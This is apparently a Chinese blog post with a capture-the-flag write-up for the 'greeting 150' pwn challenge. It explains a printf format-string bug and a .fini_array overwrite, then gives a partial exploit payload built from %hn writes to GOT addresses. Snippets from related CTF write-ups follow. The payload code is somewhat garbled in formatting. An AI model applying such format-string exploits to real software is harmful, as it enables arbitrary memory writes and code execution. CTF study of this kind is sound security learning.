攻防世界題目greeting 150

2022-06-27 04:27:10 字數 752 閱讀 9188

1.printf()函式的格式化漏洞。

2.可以通過修改.fini_array的內容使得main函式一直迴圈執行。

3.printf()格式化修飾符中,hn為word(字),hhn為byte(位元組),n為dword(雙字),lln為qword(四字)。

1.首先通過printf()函式得到輸入的相偏移。

2.得到偏移為42位,所以在payload中需要輸入2個字元來對齊。

3.因為隨著payload的長度增加,寫入的值只會越來越大,所以需要先寫入小的值。

例如:

strlen_got = 0x8049a54fini_got = 0x08049934p = "qq"

p += p32(fini_got+2)

p += p32(strlen_got+2)

p +=p32(strlen_got)

p +=p32(fini_got)

p += "

%"+str(2016)+"c"

p += "

%"+str(12)+"

$hn"

p += "

%"+str(13)+"

$hn"

p += "

%"+str(31884)+"c"

p += "

%"+str(14)+"

$hn"

p += "

%"+str(349)+"c"

p += "

%"+str(15)+"

$hn"

攻防世界PWN之greeting 150題解

首先看一下保護機制 然後我們拖入ida,發現是乙個很簡單的程式。然而,最後的那個printf s 存在格式化字串漏洞,可以造成任意位址的讀寫。首先,我們需要確定我們輸入的資料的相對位置。經過測試,我們需要在前面填充2個字元,然後接下來我們的資料會位於第12個位置 那麼,我們的payload aa p...

攻防世界Reverse題目writeup

小白最近做了一些reverse題目,整理整理 import base64 defencode message s for i in message x ord i 32 x x 16 s chr x return base64.b64encode s correct xlnkvmtui1mgxwbz...

攻防世界新手區題目wp

雖然是菜雞題目,但俺依然不太會做 上網看了一下wp,就是ida開啟,然後shift f12,搜尋flag ord 的作用是返回字元相應的ascii十進位制編碼,比如ord a 會返回97 另外如果a b ca oplus b c a b c,可以推出來a b b a 0 aa oplus b opl...